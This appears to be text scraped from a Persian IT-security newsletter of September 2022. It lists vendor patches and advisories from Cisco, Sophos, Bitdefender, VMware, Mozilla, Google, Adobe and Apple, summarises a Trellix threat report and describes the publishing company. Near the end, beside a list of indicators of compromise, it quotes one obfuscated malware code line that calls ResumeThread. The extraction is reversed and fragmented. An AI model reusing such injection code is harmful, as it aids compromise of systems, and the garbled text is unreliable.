https://fa.wikipedia.org/wiki/%D9%88%D8%B6%D8%B9%DB%8C%D8%AA_%D8%B1%D9%82%D8%A7%D8%A8%D8%AA%DB%8C
https://fa.wikipedia.org/wiki/%D9%88%D8%B6%D8%B9%DB%8C%D8%AA_%D8%B1%D9%82%D8%A7%D8%A8%D8%AA%DB%8C
https://en.wikipedia.org/wiki/Race_condition
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-34725
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-34724
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-37972
https://learn.microsoft.com/en-us/mem/configmgr/hotfix/2207/15498768
https://www.cisco.com/
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استفاده کند. اطلاعات بیشتر در نشانی زیر پذیر سوءها برای کنترل سیستم آسیبپذیریتواند از بعضی از این آسیبجدید هستند. مهاجم می

 باشد:قابل دسترس می

 

https://tools.cisco.com/security/center/publicationListing.x  

 

 سـوفـوس
را ارائه کرد، در راستای بهبود هر چه بیشتر  Sophos Firewall OS v19.0.0، نسخه ۱۴۰۱) که در اردیبهشت Sophos( شرکت سوفوس

جدیدی همچون  های پیشرفتهرا در ماه گذشته منتشر کرد که ضمن ترمیم برخی اشکالات، قابلیت 19.0.1، نسخه SFOS 19عامل سیستم

SSL-VPN Remote Access ،IPsec VPN Enhancement ،SD-RED ،SD-WAN Profile های را به همراه دارد. جزئیات بیشتر در نشانی

 زیر قابل مطالعه است:

 

https://newsroom.shabakeh.net/25427/sophos-firewall-v19-0-1-release-notes.html 

https://docs.sophos.com/releasenotes/output/en-us/nsg/sf_190_rn.html 

 

) Firmwareافزار (در نسخه جدید این میان منتشر کرد. SD-RED Firmwareرا برای  ۳٫۰٫۰۰۸نسخه  در ماهی که گذشتهمچنین این شرکت 

های پذیریاند که تحت تاثیر تعدادی از آسیببروزرسانی شده SD-REDافزار که حاوی چندین اصلاحیه امنیتی مهم بوده، چند قسمت از میان

 امنیتی اخیراً کشف شده، قرار داشتند.

 

) سازگار است. در صورتی که فایروال شما نسخه SFOSعامل فایروال (های زیر از سیستمفقط با نسخه SD-REDافزار میان ۳٫۰٫۰۰۸نسخه 

 های زیر ارتقاء دهید و سپس اقدام به بروزرسانیروز کرده و به یکی از نسخهیروال خود را بهعامل فاتری دارد، ابتدا باید سیستمپايين

SD-RED Firmware .نماييد 

 

• SFOS  و بالاتر 17.5.12نسخه 

• SFOS  و بالاتر 18.0.3نسخه 

• SFOS  و بالاتر 18.5.0نسخه 

• SFOS  و بالاتر 19.0.0نسخه 

 

 باشد:در نشانی زیر قابل دسترس می SD-REDروزرسانی نسخه جدید نحوه بهفهرست اشکالات ترمیم شده و  

 

https://community.sophos.com/sophos-xg-firewall/b/blog/posts/sd-red-firmware-3-0-008-pattern-update-

released 

https://newsroom.shabakeh.net/25435/sd-red-firmware-3-0-008-update-released.html 

  

https://tools.cisco.com/security/center/publicationListing.x
https://www.sophos.com/en-us
https://newsroom.shabakeh.net/25427/sophos-firewall-v19-0-1-release-notes.html
https://docs.sophos.com/releasenotes/output/en-us/nsg/sf_190_rn.html
https://community.sophos.com/sophos-xg-firewall/b/blog/posts/sd-red-firmware-3-0-008-pattern-update-released
https://community.sophos.com/sophos-xg-firewall/b/blog/posts/sd-red-firmware-3-0-008-pattern-update-released
https://newsroom.shabakeh.net/25435/sd-red-firmware-3-0-008-update-released.html
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 دیـفـنـدربـیـت
 :در شهریور ماه اقدام به انتشار نسخ جدید زیر کرد) Bitdefender( دیفندرشرکت بیت

 

• Bitdefender Endpoint Security Tools for Windows 7.7.1.216 

• Bitdefender Endpoint Security Tools for Linux 7.0.3.2061 

• Endpoint Security for Mac 7.10.18.200038 

• Security Server Multi-Platform 6.2.12.11679 

 

 :اطلاعات کامل در خصوص تغییرات لحاظ شده در نسخ مذکور در نشانی زیر قابل مطالعه است

 

https://www.bitdefender.com/business/support/en/77212-48453-release-notes.html 

 

 وراموی
 امنیتی با شناسه امنیتی نسبت به ترمیم ضعف نامهدر ماهی که گذشت در یک نوبت با انتشار توصیه  (VMware)ورامشرکت وی

CVE-2022-31676  در محصولVMware Tools ارائه شده  شود با مراجعه به نشانی زیر در اسرع وقت بروزرسانیاقدام کرد. توصیه اکید می

 اعمال گردد تا از هرگونه سوءاستفاده پیشگیری شود:

 

https://www.vmware.com/security/advisories/VMSA-2022-0024.html 

 

 مـوزیـلا
افزار مدیریت ایمیل نرمو  Firefox پذیری امنیتی را در مرورگربا ارائه بروزرسانی، چند آسیب (Mozilla) شرکت موزیلادر ماه گذشته، 

Thunderbird  آنها مورد از نه حساسیت درجه کنند. پذیری را در محصولات مذکور ترمیم میآسیب ٢٠ها، در مجموع اصلاحیهبرطرف کرد. این

های مذکور، مهاجم را قادر به در سوءاستفاده از برخی از ضعف .شده است گزارش) Low» (پايين«و شش مورد  »متوسط«پنج مورد  ،»بالا«

 توضیحات بیشتر در لینک زیر قابل مطالعه است:کند. پذیر میاختیار گرفتن کنترل دستگاه آسیب

 

https://www.mozilla.org/en-US/security/advisories/ 

 

 گـوگـل
آخرین نسخه این مرورگر کرد.   Chromeهای امنیتی مرورگرپذیریدر شهریور ماه، در چندین نوبت اقدام به ترمیم آسیب (Google) شرکت گوگل

  :زیر قابل دریافت و مشاهده است فهرست اشکالات مرتفع شده در لینکاست.  ۱۳۴.٥١٩٥.٠.١٠٥یافت، نسخه شهریور ماه انتشار  ۲۴که در 

 

https://chromereleases.googleblog.com/2022/09/stable-channel-update-for-chromeos_15.html 

 

  

https://www.bitdefender.com/
https://www.bitdefender.com/
https://www.bitdefender.com/
https://www.bitdefender.com/business/support/en/77212-48453-release-notes.html
https://www.vmware.com/
https://www.vmware.com/security/advisories/VMSA-2022-0024.html
https://www.mozilla.org/en-US/
https://www.mozilla.org/en-US/
https://www.mozilla.org/en-US/security/advisories/
https://www.google.com/
https://chromereleases.googleblog.com/2022/09/stable-channel-update-for-chromeos_15.html
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 ادوبـی
 های امنیتی برای محصولات زیر نمود:در شهریور ماه اقدام به انتشار مجموعه اصلاحیه (Adobe) شرکت ادوبی

 

• Adobe Bridge 

• Adobe Experience Manager 

• Adobe InDesign 

• Adobe Photoshop 

• Adobe InCopy 

• Adobe Animate 

• Adobe Illustrator 

 

 :قابل مطالعه استهای ماه سپتامبر ادوبی در لینک زیر اطلاعات بیشتر در خصوص مجموعه اصلاحیه

 

https://helpx.adobe.com/security.html 

 

 اپــل
 ،iOS ،iPadOSهای امنیتی متعددی را در چندین محصول خود از جمله با انتشار بروزرسانی، ضعف (Apple) شرکت اپلدر شهریور ماه، 

macOS  وSafari  پذیر های مذکور، مهاجم را قادر به در اختیار گرفتن کنترل سامانه آسیبترمیم و اصلاح کرد. سوءاستفاده از برخی از ضعف

 تر اعمال شود:های مربوطه هر چه سریعر، بروزرسانیشود با مراجعه به نشانی زیتوصیه میکند. می

 

https://support.apple.com/en-us/HT201222 

  

https://www.adobe.com/
https://helpx.adobe.com/security/products/bridge/apsb22-49.html
https://helpx.adobe.com/security/products/experience-manager/apsb22-40.html
https://helpx.adobe.com/security/products/indesign/apsb22-50.html
https://helpx.adobe.com/security/products/photoshop/apsb22-52.html
https://helpx.adobe.com/security/products/incopy/apsb22-53.html
https://helpx.adobe.com/security/products/animate/apsb22-54.html
https://helpx.adobe.com/security/products/illustrator/apsb22-55.html
https://helpx.adobe.com/security.html
https://www.apple.com/
https://www.apple.com/
https://support.apple.com/en-us/HT201222
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 کسیترل یگزارش فصل

 منتشر شد

 

 
 

 

 منتشر شده است. ۲۰۲۲برای تابستان  Trellix گزارش فصلی شرکت

 

که در اواخر سال گذشته  Trellix عنوان دو قدرت امنیت فناوری اطلاعات تحت برندبه FireEye و شرکت McAfee Enterprise ادغام شرکت

و دامنه گسترده  Trellix ای روشن در مقابله با تهدیدات سایبری است. ضمن آن که اطلاعات انبوه شرکت جدیدرخ داد نویدبخش آینده

 .کنداندازی دقیق را از وضعیت تهدیدات سایبری فراهم میتاسر جهان چشممحصولات و مشتریان آن در سر

 

 .ارائه شده است ۲۰۲۲ماهه اول و آمار تهدیدات فعال طی سه Trellix های محققاندر این گزارش، بخشی از یافته

 

ای از جمله گرفته شده توسط مهاجمان حرفههای بکار ها و تکنیکگذشت نمایانگر تکامل هر چه بیشتر تاکتیک ۲۰۲۲ماهه اول آن چه در سه

افزارهایی که کنند. برای مثال، در دوره مذکور، بر شمار باجطور کاملاً هدفمند قربانیان خود را انتخاب میافزارهای مخربی است که بهگردانندن باج

 .را مورد هدف قرار دادند افزوده شد ESXi هایسامانه

 

 توسط جوییپذیری با بیشترین احتمال بهرهآسیب ۱۰ارائه فهرست  Trellix ین شماره از گزارش فصلیاز نکات قابل توجه در خصوص ا

های لازم اهمیت بندی نصب اصلاحیههای امنیتی جدید در محصولات مختلف، اولویتپذیریمهاجمان است. با توجه به کشف مستمر آسیب

      Exploit Prediction Scoring System در کنار الگوی Trellix به و شناخت کارشناسانپذیری مذکور، از تجرآسیب ۱۰ویژه دارد. در انتخاب 

 .بهره گرفته شده است EPSS - به اختصار -

 

پرداخته شده و آمار مفیدی ارائه  )LotL به اختصار - Living off the Land» (کسب روزی از زمین«همچنین در این گزارش به روش مخرب 

های عادی و سالم در سیستم قربانی برای انجام عملیات مخرب خود بر روی آن مجرمان سایبری از توابع و برنامه LotL در روشگردیده است. 

 .کنند. این روش برای مخفی ماندن عملیات مخرب و شناسایی نشدن حملات بسیار مؤثر استسیستم استفاده می
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 .مورد بررسی قرار گرفته است ۲۰۲۲ماهه اول تهدیدات مبتنی بر ایمیل در سهترین در بخشی اختصاصی از این گزارش نیز اصلی

 

 .برای دریافت این گزارش بر روی تصویر زیر کلیک نماييد

 

 

 
 

  

https://newsroom.shabakeh.net/wp-content/uploads/2022/09/trellix-atr-report-summer-2022.pdf
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 اطلاعات فناوری امنیت اخبار آخرین
@SGnewsroom 

https://t.me/SGnewsroom
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 كه است ایرانی شركت اولین و گردید تأسیس ۱۳۷۰ سال در گستر شبكه مهندسی شركت

 در .است كرده آغاز را متمرکزی و تخصصی فعالیت ضدویروس افزارهای نرم زمینه در

 انگلیسی شركت و گستر شبكه مهندسی شركت بین مشتركی همكاری ابتدا،

S & S International مشهور ضدویروس تولیدكننده(ا Toolkit( مدت در. گردید آغاز 

 S & S انحصاری و رسمی نماینده عنوان ر بهگست شبكه فعالیت با كوتاهی،

International  در ایران، به تدریج ضدویروسDr Solomon’s Toolkit ترین به محبوب

توسط شرکت  S & S Internationalضدویروس در ایران تبدیل شد. پس از خرید شرکت 

McAfee  شرکت شبکه گستر نیز مانند دیگر نمایندگان بین المللی فعالیت ۱۳۷۷در سال  ،

ادامه داد. اکنون نیز شبکه گستر به  McAfeeخود را بر روی نرم افزارهای ضدویروس 

قه خاورمیانه، به ارائه محصولات ) در منطAuthorized Resellerعنوان فروشنده مجاز (

شرکت مهندسی شبکه گستر موفق به  ۱۳۸۴ید. در سال نماو خدمات در ایران اقدام می

، سازنده محصولات مدیریت یکپارچه Astaroکسب نمایندگی رسمی شرکت آلمانی 

) گردید. به دنبال رشد چشمگیر و موفقیت Unified Threat Managmentتهدیدات (

 انگلیس، اقدام Sophosشرکت  ۱۳۹۰، در سال Astaroجهانی محصولات امنیتی شرکت 

به خرید این شرکت آلمانی نمود. به دنبال این نقل و انتقال، شرکت مهندسی شبکه گستر 

، فعالیت خود را در این زمینه ادامه داد و اکنون محصولات Sophosبا همکاری شرکت 

Astaro  سابق را تحت نامSophos شرکت  ۱۳۹۱نماید. از سال در ایران عرضه می

را به عنوان نماینده  Bitdefenderضدویروس  مهندسی شبکه گستر عرضه محصولات

 Bitdefendr) رسمی در ایران آغاز کرد. عرضه محصولات ضدویروس Distributorتوزیع (

، پاسخی به شرایط و نیازهای متفاوت کاربران و McAfeeدر کنار محصولات امنیتی 

ن به تر و محصولی مقروتر، مدیرت آسانمدیران شبکه بوده است. ضدویروس چابک

تر، انتظارات برخی از کاربران و مدیران شبکه بود که با عرضه محصولات ضدویروس صرفه

Bitdefender شبکه گستر به نیازهای این بخش از بازار پاسخ داد. شرکت مهندسی ،

های نصب و راه اندازی و طولانی شبکه گستر افتخار دارد که مجری برخی از بزرگترین پروژه

های نگهداری و پشتیبانی محصولات امنیت شبکه در کشور بوده است. ترین قراردادمدت
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	برخی از علائم آلودگی (Indicators-of-Compromise – به اختصار IoC) به شرح زیر میباشد:
	num15 = (int)PA.LX99ujNZ7X3YScj6T4(PA.ResumeThread, PA.vgxYHnXuOV51G6NIu3("010010010110111001110110011011110110101101100101"), CallType.Method,
	new object[]
	{
	processInformation.ThreadHandle
	دامنه (Domain)
	درهمساز (Hash)


	در شهریور 1401 شرکتهای زیر اقدام به عرضه بروزرسانی و توصیهنامه امنیتی برای برخی محصولات خود کردند.
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	ادوبـی
	اپــل
	گزارش فصلی شرکت Trellix برای تابستان 2022 منتشر شده است.
	ادغام شرکت McAfee Enterprise و شرکت FireEye بهعنوان دو قدرت امنیت فناوری اطلاعات تحت برند Trellix که در اواخر سال گذشته رخ داد نویدبخش آیندهای روشن در مقابله با تهدیدات سایبری است. ضمن آن که اطلاعات انبوه شرکت جدید Trellix و دامنه گسترده محصولات و م...
	در این گزارش، بخشی از یافتههای محققان Trellix و آمار تهدیدات فعال طی سهماهه اول ۲۰۲۲ ارائه شده است.
	آن چه در سهماهه اول ۲۰۲۲ گذشت نمایانگر تکامل هر چه بیشتر تاکتیکها و تکنیکهای بکار گرفته شده توسط مهاجمان حرفهای از جمله گردانندن باجافزارهای مخربی است که بهطور کاملاً هدفمند قربانیان خود را انتخاب میکنند. برای مثال، در دوره مذکور، بر شمار باجا...
	از نکات قابل توجه در خصوص این شماره از گزارش فصلی Trellix ارائه فهرست ۱۰ آسیبپذیری با بیشترین احتمال بهرهجویی توسط مهاجمان است. با توجه به کشف مستمر آسیبپذیریهای امنیتی جدید در محصولات مختلف، اولویتبندی نصب اصلاحیههای لازم اهمیت ویژه دارد. در ان...
	همچنین در این گزارش به روش مخرب «کسب روزی از زمین» (Living off the Land - به اختصارLotL ) پرداخته شده و آمار مفیدی ارائه گردیده است. در روش LotL مجرمان سایبری از توابع و برنامههای عادی و سالم در سیستم قربانی برای انجام عملیات مخرب خود بر روی آن سیستم...
	در بخشی اختصاصی از این گزارش نیز اصلیترین تهدیدات مبتنی بر ایمیل در سهماهه اول ۲۰۲۲ مورد بررسی قرار گرفته است.
	برای دریافت این گزارش بر روی تصویر زیر کلیک نمایید.



